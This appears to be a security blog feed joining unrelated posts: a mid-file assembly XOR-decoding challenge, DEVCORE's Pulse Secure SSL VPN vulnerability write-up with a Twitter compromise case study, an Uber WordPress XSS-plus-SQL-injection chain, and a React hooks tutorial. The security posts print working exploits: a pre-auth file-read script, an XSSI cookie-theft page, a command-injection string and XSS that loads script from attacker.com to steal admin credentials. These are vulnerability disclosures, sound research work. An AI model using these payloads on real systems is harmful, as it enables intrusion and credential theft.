      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax
    jnz   short_loop_jmp

    int3
    int3
    int3
    int3

Original (Broken) Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; Challenge 1: stack push broken with loading into eax register
    lea   eax, [0x7f7f1312]
    lea   eax, [0x157b2f22]
    lea   eax, [0x13247312]
    lea   eax, [0x087b0423]
    lea   eax, [0x73287022]
    lea   eax, [0x30280912]
    lea   eax, [0x3b162f20]
    lea   eax, [0x360e1919]
    lea   eax, [0x157b0913]
    lea   eax, [0x757b0960]
    lea   eax, [0x70167510]
    lea   eax, [0x2d162f25]
    lea   eax, [0x73241923]
    lea   eax, [0x09167527]
    lea   eax, [0x1a772b0c]
    lea   eax, [0x37787217]

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax

    ; Challenge 2: jnz changed to jz
    jz    short_loop_jmp

    int3
    int3
    int3
    int3

Pulse Secure SSL VPN 資安通報

27 August 2019 at 16:00

內容

在我們對 Pulse Secure SSL VPN 的安全研究中,共發現了下列七個弱點。組合利用有機會取得 SSL VPN 設備的最高權限,可讓攻擊者進入用戶內網,甚至控制每個透過 SSL VPN 連線的使用者裝置。

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

受影響的版本如下:

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

目前已經出現攻擊者對全世界設備進行大規模掃描,請 Pulse Secure SSL VPN 用戶儘速更新,需要更新的版本資源可參考原廠 Pulse Secure 的公告

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/

附註

目前亦發現攻擊者對我們之前發表的 Fortigate SSL VPNPalo Alto GlobalProtect 弱點進行大規模掃描,再次提醒請用戶儘速更新以上 SSL VPN 設備至最新版。

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

1 September 2019 at 16:00

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you:

After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.

We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!

Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1] [2] [3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?

We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.

On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!

About Pulse Secure

Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.

We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…

Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.

We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!

It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!

Vulnerabilities

We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

Affected versions

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

CVE-2019-11540: Cross-Site Script Inclusion

The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!

Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!

PoC:

<!-- http://attacker/malicious.html -->

<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script>
<script>
    window.onload = function() {
        window.document.writeln = function (msg) {
            if (msg.indexOf("DSID") >= 0) alert(msg)
        }
        ReplaceContent()
    }
</script>

CVE-2019-11507: Cross-Site Scripting

There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.

PoC:

https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>

CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS

The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.

If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!

CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS

This one is a little bit similar to the previous one, but with a different attack vector!

When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!

CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow

There is a stack-based buffer overflow in the following Perl module implementations:

  • DSHC::ConsiderForReporting
  • DSHC::isSendReasonStringEnabled
  • DSHC::getRemedCustomInstructions

These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.

https://sslvpn/dana-admin/auth/hc.cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0

And you can observed the segment fault from dmesg

cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]

CVE-2019-11510: Pre-auth Arbitrary File Reading

Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.

In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!

And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.

Due to the exploit is in the wild, there is no longer any concern to show the payload:

import requests

r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content

CVE-2019-11539: Post-auth(admin) Command Injection

The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.

However, we did it, and we exploit it in a very smart way :)

The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:

# ...
$options = tcpdump_options_syntax_check(CGI::param("options"));

# ...
sub tcpdump_options_syntax_check {
  my $options = shift;
  return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
  return undef;
}

It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!

In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick

This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.

From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:

[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]

The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(

While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.

As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.

We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:

tcpdump: [filename]: No such file or directory

It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!

$ tcpdump -d -r 'print 123#'
  tcpdump: print 123#: No such file or directory
 
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
  123

The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!

As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!

Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:

-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

The concatenated command looks like:

/usr/sbin/tcpdump -d 
 -r'$x="ls /",system$x#'
 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 
 >/dev/null
 2>&1

And the generated setcookie.thtml.ttc looks like:

 tcpdump: $x="ls /",system$x#: No such file or directory

Once we have done this, we can just fetch the corresponding page to execute our command:

$ curl https://sslvpn/dana-na/auth/setcookie.cgi
 boot  bin  home  lib64       mnt      opt  proc  sys  usr  var
 data  etc  lib   lost+found  modules  pkg  sbin  tmp 
 ...

So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!

The Case Study

After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.

We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P

We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:

The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!

So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.

Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!

Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!

As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.

Yes, it’s SSRF!

Here we use a small trick to bypass the SSRF protections.

Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…

If you are experienced in cracking hashes, you will know how hard it is. So…






We launched a 72 core AWS to crack that.

We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.

We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.

Recommendations

How to mitigate such attacks? Here we give several recommendations.

The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.

Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!

Bonus: Take over all the VPN clients

Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!

We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.

During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.

Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:

Epilogue

OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!

Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)

H1-4420: From Quiz to Admin - Chaining Two 0-Days to Compromise An Uber Wordpress

10 September 2019 at 00:00

TL;DR

While doing recon for H1-4420, I stumbled upon a Wordpress blog that had a plugin enabled called SlickQuiz. Although the latest version 1.3.7.1 was installed and I haven’t found any publicly disclosed vulnerabilities, it still somehow sounded like a bad idea to run a plugin that hasn’t been tested with the last three major versions of Wordpress.

So I decided to go the very same route as I did already for last year’s H1-3120 which eventually brought me the MVH title: source code review. And it paid off again: This time, I’ve found two vulnerabilities named CVE-2019-12517 (Unauthenticated Stored XSS) and CVE-2019-12516 (Authenticated SQL Injection) which can be chained together to take you from being an unauthenticated Wordpress visitor to the admin credentials.

Due to the sensitivity of disclosed information I’m using an own temporarily installed Wordpress blog throughout this blog article to demonstrate the vulnerabilities and the impact.

CVE-2019-12517: Going From Unauthenticated User to Admin via Stored XSS

During the source code review, I stumbled upon multiple (obvious) stored XSS vulnerabilities when saving user scores of quizzes. Important side note: It does not matter whether “Save user scores” plugin option is disabled (default) or enabled, the pure presence of a quiz is sufficient for explotiation since this option does only disable/enable the UI elements.

The underlying issue is located in php/slickquiz-scores.php in the method generate_score_row() (lines 38-52) where the responses to quizzes are returned without encoding them first:

function generate_score_row( $score )
        {
            $scoreRow = '';

            $scoreRow .= '<tr>';
            $scoreRow .= '<td class="table_id">' . $score->id . '</td>';
            $scoreRow .= '<td class="table_name">' . $score->name . '</td>';
            $scoreRow .= '<td class="table_email">' . $score->email . '</td>';
            $scoreRow .= '<td class="table_score">' . $score->score . '</td>';
            $scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
            $scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
            $scoreRow .= '</tr>';

            return $scoreRow;
        }

Since $score->name, $score->email and $score->score are use-controllable, a simple request like the following is enough to get three XSS payloads into the SlickQuiz backend:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}

As soon as any user with access to the SlickQuiz dashboard visits the user scores, all payloads fire immediately:

So far so good. That’s already a pretty good impact, but there must be more.

CVE-2019-12516: Authenticated SQL Injections To the Rescue

The SlickQuiz plugin is also vulnerable to multiple authenticated SQL Injections almost whenever the id parameter is present in any request. For example the following requests:

/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)

all cause a 5 second delay:

The underlying issue of i.e. the /wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a) vulnerability is located in php/slickquiz-scores.php in the constructor method (line 20) where the GET parameter id is directly supplied to the method get_quiz_by_id():

$quiz = $this->get_quiz_by_id( $_GET['id'] );

Whereof the method get_quiz_by_id() is defined in php/slickquiz-model.php (lines 27-35):

function get_quiz_by_id( $id )
        {
            global $wpdb;
            $db_name = $wpdb->prefix . 'plugin_slickquiz';

            $quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );

            return $quizResult;
        }

Another obvious one.

Connecting XSS and SQLi for Takeover

Now let’s connect both vulnerabilities to get a real Wordpress takeover :-)

First of all: Let’s get the essential login details of the first Wordpress user (likely to be the admin): user’s email, login name and hashed password. I’ve built this handy SQLi payload to achieve that:

1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--

This eventually returns requested data within an <h2> tag:

With this payload and a little bit of JavaScript, it’s now possible to exploit the SQLi using a JavaScript XMLHttpRequest:

let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'

let xhr = new XMLHttpRequest();
xhr.withCredentials = true;

xhr.onreadystatechange = function() {
  if (xhr.readyState === XMLHttpRequest.DONE) {
    let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
    alert(result[1]);
  }
}

xhr.open('GET', url + payload, true);
xhr.send();

Now changing the XSS payload to:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}

Will cause the XSS to fire and alert the Wordpress credentials:

From this point on, everything’s possible, just like sending this data cross-domain via another XMLHttpRequest etc.

Thanks Uber for the nice bounty!

Creating a Conditional React Hook

13 September 2019 at 00:00

After seeing that the React team have been encouraging people to start using hooks for future development over the class based approach that has been used for stateful components previously, I decided to check them out.

My first thoughts were that the new approach is really awesome. Much less boilerplate code and the ability to share logic between different components easily - what’s not to love?

I quickly jumped in to trying to use them, and almost as quickly hit a dead end. I was trying to create a form that would:

  1. Load data from a remote server and populate a form with the result
  2. Call an API to save the data back when the user hits the save button

The first point went smoothly, but the second? Not so much. One of the rules that has to be followed when using hooks is that they all must be called in the top level of the function.

What I mean by this, is that anything that accepts a callback, such as useEffect cannot contain hook invocations. They all must appear in the main function of the hook, ensuring that the same number of hooks are invoked every time a re-render occurs.

Why is this a problem? Well, I was trying to invoke the hook when the user clicks a button, which means the first render only calls one hook (to load the remote data) but the render after the user clicks the button was then calling two hooks.

The solution to this was incredibly simple, but didn’t click straight away. That solution being - I could create a flag in my hook to indicate whether or not to actually execute the action. Doing this would ensure that the same number of hooks are called every time, but it’d only execute the action when the flag is changed to indicate it should.

Below is an example of my hook, with some implementation replaced with some mock code for the sake of keeping it simple.

import React, { useState, useEffect } from 'react'

function useApi ({ endpoint, method, body, shouldExecute }) {
  const [result, setResult] = useState(null)
  const [executing, setExecuting] = useState(false)
  const [hasError, setHasError] = useState(false)

  if (shouldExecute) {
    setExecuting(true)
  }

  const executeRequest = async () => {
    try {
      const res = await ApiExample.call(endpoint, method, body)
      setResult(res)
    } catch (error) {
      setHasError(true)
    }

    setExecuting(false)
  }

  useEffect(() => {
    if (shouldExecute) {
      executeRequest()
    }
  }, [shouldExecute])

  return { executing, hasError, result }
}

export default useApi

The purpose of this hook is to be able to specify the API endpoint, HTTP method and body and get an object back that indicates:

  • Whether the task is executing (executing)
  • Whether an error occurred making the request (hasError)
  • The result of the request, if successful (result)

If we were not to pass the shouldExecute value and use it and instead invoke executeRequest immediately inside the callback of useEffect, the HTTP request would be sent to the API pretty much instantly after the hook is invoked. Whilst this is fine for loading data, this was not sufficient for my use case of wanting to execute a request upon clicking a save button. Enter - the shouldExecute value.

By adding this extra flag, useEffect can be configured to be dependent on shouldExecute (as can be seen in the second argument to useEffect). This means that every time shouldExecute changes - the useEffect callback is invoked (you can probably see where this is now going).

Now that the useApi hook will only make the AJAX request based on the flag that we can bind a value to in its consumer, we can invoke it twice at the start of the consuming hook like this:

const ApiWrapper = () => {
  const [shouldSave, setShouldSave] = useState(false)

  const a = useApi({
    endpoint: '/load-data',
    method: 'GET',
    shouldExecute: true
  })

  const b = useApi({
    endpoint: '/save-data',
    method: 'POST',
    body: { foo: 'bar' },
    shouldExecute: shouldSave
  })

  if (shouldSave && !b.executing) {
    setShouldSave(false)
  }

  return (
    <div>
      <span>{a.result}</span>
      <button onClick={() => setShouldSave(true)}>Save</button>
    </div>
  )
}

In this example, a will hold the data that would then populate a form (in this case just dumping it into a span to keep things concise) and b will hold the result of the save operation.

On the first render of ApiWrapper, the useApi hook will be called twice and the results assigned to a and b. As you can see in the assignment of b, the shouldExecute property is bound to the value of shouldSave, which is only set to true once the user clicks the button.

There is also a check to reset the flag, if shouldSave is true. If it is true, the user has previously clicked the button, and if b.executing is false, then that would mean the task in the useApi hook is now finished and we can reset the value of shouldSave.

It’s a bit different to how one would normally approach this, but overall, it actually makes the code even more concise and easy to read, so I’d still say it’s worth adapting to this type of approach.

If you need more information on how useEffect works and the general changes that have been introduced with hooks, make sure to check out the official documentation at https://reactjs.org/docs/hooks-intro.html

OWASP Global AppSec DC 2019 Review

23 September 2019 at 18:05

🙋🏽‍♂️ Hello friends! It’s been quite some time since I’ve blogged – shame on me. No excuses as I can’t say I’ve been particularly busy or engaged in anything mind-blowing. The truth is I haven’t had much to write about lately & I’m not going to deliver nonsense because then I would lose your trust. I err on the side of quality vs. quantity as I hope everyone reading this does. My quest to become a better developer is something that has been keeping me occupied lately. To that end, learning MEAN stack development is something I really want to get better at. How can I understand how to break something if I don’t know how to build it? It’s in its infancy but my goal is to build a vulnerable MEAN stack application and release it to Github for everyone to tear it apart and understand how the typical web application vulnerabilities manifest themselves in a MEAN stack application at the code level. No promises but I hope by the end of the year I could deploy the beta version. Enough updates let’s get down to the point of this post.

